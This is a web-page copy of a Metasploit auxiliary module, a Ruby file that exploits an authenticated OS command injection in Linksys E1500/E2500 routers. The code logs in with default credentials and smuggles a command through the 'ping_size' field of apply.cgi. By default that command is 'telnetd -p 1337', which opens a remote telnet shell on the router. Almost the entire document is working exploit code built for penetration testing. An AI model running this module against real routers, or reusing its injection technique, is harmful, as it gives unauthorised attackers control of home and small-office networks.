CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Linksys E1500/E2500 Remote Command Execution',
14
'Description' => %q{
15
Some Linksys Routers are vulnerable to an authenticated OS command injection.
16
Default credentials for the web interface are admin/admin or admin/password. Since
17
it is a blind os command injection vulnerability, there is no output for the
18
executed command. A ping command against a controlled system for can be used for
19
testing purposes.
20
},
21
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'OSVDB', '89912' ],
25
[ 'BID', '57760' ],
26
[ 'EDB', '24475' ],
27
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
28
],
29
'DisclosureDate' => '2013-02-05'
30
)
31
)
32
33
register_options(
34
[
35
OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
36
OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
37
OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])
38
]
39
)
40
end
41
42
def run
43
uri = '/apply.cgi'
44
user = datastore['HttpUsername']
45
pass = datastore['HttpPassword']
46
47
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
48
49
begin
50
res = send_request_cgi({
51
'uri' => uri,
52
'method' => 'GET',
53
'authorization' => basic_auth(user, pass)
54
})
55
56
return if res.nil?
57
return if (res.code == 404)
58
59
if [200, 301, 302].include?(res.code)
60
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
61
else
62
print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
63
return
64
end
65
rescue ::Rex::ConnectionError
66
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
67
return
68
end
69
70
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
71
72
cmd = datastore['CMD']
73
# original post request:
74
# data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
75
# action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
76
77
vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
78
begin
79
res = send_request_cgi({
80
'uri' => uri,
81
'method' => 'POST',
82
'authorization' => basic_auth(user, pass),
83
'vars_post' => {
84
'submit_button' => 'Diagnostics',
85
'change_action' => 'gozila_cgi',
86
'submit_type' => 'start_ping',
87
'action' => '',
88
'commit' => '0',
89
'ping_ip' => '1.1.1.1',
90
'ping_size' => "&#{cmd}&",
91
'ping_times' => '5',
92
'traceroute_ip' => ''
93
}
94
})
95
rescue ::Rex::ConnectionError
96
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
97
return
98
end
99
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
100
print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")
101
end
102
end
103
104